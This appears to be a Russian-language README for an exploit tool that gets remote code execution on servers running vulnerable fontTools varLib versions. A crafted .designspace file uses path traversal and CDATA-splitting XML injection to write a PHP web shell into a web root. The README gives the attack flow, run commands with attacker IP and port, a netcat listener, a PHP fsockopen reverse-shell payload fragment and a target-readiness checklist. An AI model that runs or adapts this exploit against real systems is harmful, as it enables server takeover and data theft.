Злоумышленник создаёт вредоносный .designspace
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── ОБХОД ПУТИ
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir отбрасывается → запись в корень веб-сервера
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── XML-ИНЪЕКЦИЯ
                         Разделение CDATA внедряет сырой PHP
                         в двоичный файл выходного шрифта
            │
            ▼
    fontTools.varLib.main() обрабатывает файл на стороне сервера
            │
            ▼
    shell.php записывается в каталог, доступный через веб
            │
            ▼
    GET /files/shell.php → PHP выполняется → обратный вызов шелла
            │
            ▼
    RCE как www-data

pip install fonttools requests

nc (netcat) — требуется для автоматического режима прослушивания (--no-listen пропускает это)

git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

# ══════════════════════════════════════════════════════════════════════════════
#  ЗНАЧЕНИЯ ПО УМОЛЧАНИЮ
#  Измените их в соответствии с вашей целью перед запуском.
#  Все значения также могут быть переопределены во время выполнения с помощью флагов CLI — см. --help.
# ══════════════════════════════════════════════════════════════════════════════

# Базовый URL хоста загрузки (сайт, который принимает .designspace)
UPLOAD_HOST      = "http://test.com"

# Путь на хосте загрузки, который обрабатывает multipart POST-запрос
# Подтвердите с помощью Burp — ищите POST после нажатия кнопки генерации
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# Абсолютный путь файловой системы на сервере, куда записываются выходные файлы
# Должен быть доступен через веб, чтобы шелл можно было запустить по HTTP
WEBROOT          = "/var/www/test.com/public/files"

# Базовый URL для получения/запуска записанного файла шелла
# Соответствует WEBROOT на диске
SHELL_HOST       = "http://testing.test.com/files"

# Имена полей multipart формы — подтвердите с помощью Burp перед запуском
# Если загрузка молча завершается ошибкой (HTTP 200, но нет шелла), вероятно, неправильные имена полей
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# Префикс имени файла шелла — случайный суффикс добавляется во время выполнения
SHELL_PREFIX     = "f0nt_"

# Длина случайного суффикса — длиннее = сложнее угадать
SHELL_SUFFIX_LEN = 8

python3 font_varlib.py --ip <IP_АТАКУЮЩЕГО> --port <ПОРТ>

# Терминал 1 — запустите слушатель
nc -lvnp 4444

# Терминал 2 — запустите эксплойт без автоматического слушателя
python3 font_varlib.py --ip <IP_АТАКУЮЩЕГО> --port 4444 --no-listen

python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

output_path = os.path.join(output_dir, filename)

filename = vf.filename                             # контролируется атакующим, не санитизировано
output_path = os.path.join(output_dir, filename)  # обход пути через абсолютный путь
vf.save(output_path)                              # произвольная запись файла

[ ] Версия fonttools на цели >= 4.33.0 и < 4.60.2
[ ] Цель принимает загрузку файлов .designspace + .ttf
[ ] Бэкенд вызывает fontTools.varLib.main() для загруженного .designspace
[ ] Имена полей формы загрузки подтверждены с помощью Burp (designspace + masters)
[ ] WEBROOT доступен через веб извне
[ ] WEBROOT доступен для записи веб-процессом (www-data или эквивалент)
[ ] SHELL_HOST (--shell) достижим с вашей машины
[ ] Имя хоста цели указано в /etc/hosts